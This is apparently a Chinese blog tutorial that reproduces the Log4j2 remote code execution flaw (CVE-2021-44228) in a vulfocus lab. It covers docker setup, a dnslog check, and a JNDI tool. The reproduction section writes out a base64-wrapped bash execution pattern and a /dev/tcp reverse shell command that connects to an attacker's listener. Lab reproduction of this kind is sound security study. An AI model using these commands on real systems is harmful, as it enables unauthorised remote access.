0x01 前言

近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。

0x02 漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现Apache Log4j 2.15.0-rc1版本存在漏洞绕过,请及时更新至Apache Log4j 2.15.0最新版本。

0x03 环境搭建

本文采用本地搭建vulfocus漏洞平台的方式进行测试,如果不感兴趣可自行跳过本小节。

当然可以使用在线vulfocus

注意:使用在线vulfocus利用此漏洞时,如果想要反弹shell,则需要一个公网ip。

  • 首先在虚拟机中拉取vulfocus镜像,作者自己的机器为ubuntu 20.04.3 LTS。

    oxrsld.png

  • 输入docker pull vulfocus/vulfocus:latest等待镜像拉取完成。

    oxsXDI.png

  • 启动镜像,输入docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.xx.xx vulfocus/vulfocus,这里的VUL_IP输入自己本机地址,如果本机80端口被占用请修改为物理机可用端口(修改左边的80)。

    oxciBn.png

  • 启动成功后,在浏览器输入本机地址加对应端口号。查看是否可以进入vulfocus登录界面。

    oxcUjH.png

  • 默认账号密码为admin/admin。登录。

    oxHHTU.png

  • 点击镜像管理查询漏洞log4j2,如果没有可以点击一键同步,不过时间很长,我们可以注册登录在线vulfocus查看镜像信息并拉取镜像到本地。首先查看镜像名称。

    oxb44e.png

  • ubuntu里输入docker pull vulfocus/log4j2-rce-2021-12-09:latest,拉取漏洞镜像到本地。

    oxqqz9.png

  • 在本地vulfocus里选择本地导入导入之前拉取到本地的镜像。

    oxOr9g.png

  • 然后到首页里去查找漏洞并启动。之后浏览器访问相应地址端口即可查看到环境。

    oxXn2Q.png

    oxXN24.png

    0x04 漏洞复现

    vulfocus提供的漏洞环境利用方法是通过post方式访问http://xxxxx/hello post参数为:payload=xxxxx。这里的xxxxx就表示我们需要填入的数据,这里我们可以填入漏洞利用。

  • 打开burpsuite开始抓包,抓取到包并发送到repeater。

    Tp2osU.png

  • 在Repeader下右击将get方式改变为post方式并且修改http包两处,如下图中红框标记处。

    TpRbX8.png

  • 上图中的马赛克区域就是我们需要填写的恶意数据,这里我们先利用dnslog进行抓包测试,查看是否有相关漏洞。打开dnslog申请一个域名。这里测试的环境为在线vulfocus,如下图所示在填入恶意链接后,有数据发送到了dnslog上,说明此漏洞存在于这个网站。

    TprOiV.png

  • 好,既然存在此漏洞,我们试着利用rmi服务来注入我们的恶意命令,这里作者希望反弹一个shell回来。作者首先使用到一个开源工具,这个工具专门测试jndi漏洞,点击此获取工具链接。

    Tpy1B9.png

  • 工具如何使用见github页面,这里我们就直接使用起来,首先这个工具需要一个命令让被攻击机器执行,这里我们打算使用bash反弹shell,需要执行的反弹shell命令内容如下:

    bash -c {echo,xxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i},这里的xxxxxxxxxx需要填入base64后的反弹shell命令,这里需要利用linux上的base64软件制作。

    比如制作的命令为:bash -i >& /dev/tcp/192.168.xx.xx/4444 0>&1,这表示将shell反弹到192.168.xx.xx机器的4444端口,这里读者可以根据自己情况进行配置。

    作者最终执行的命令如下图,并且的得到rmi服务链接。

    TpWKc6.png

    作者这里使用了红框中的链接才反弹成功。

  • 之后我们将此链接填入http包中,如下图所示。

    TpWgCn.png

  • 在攻击机器上开启监听,点击发送,得到如下回复包。即可表示注入成功。

    Tpf95d.png

  • 查看监听,发现已经获取到反弹shell。

    Tpf1x0.png

到此,复现完成。

作者复现此漏洞借鉴一位优秀的同事,同事博客点此。感谢。

关于此漏洞的触发原理,作者能力有限,只是略知一二,或许各位读者早已了然于胸,作者在此羡慕不已。但作者本着工匠精神,在参考链接中贴出了网上几篇优秀的文章,有兴趣着可以查看参考链接进行阅读。

0x05 参考链接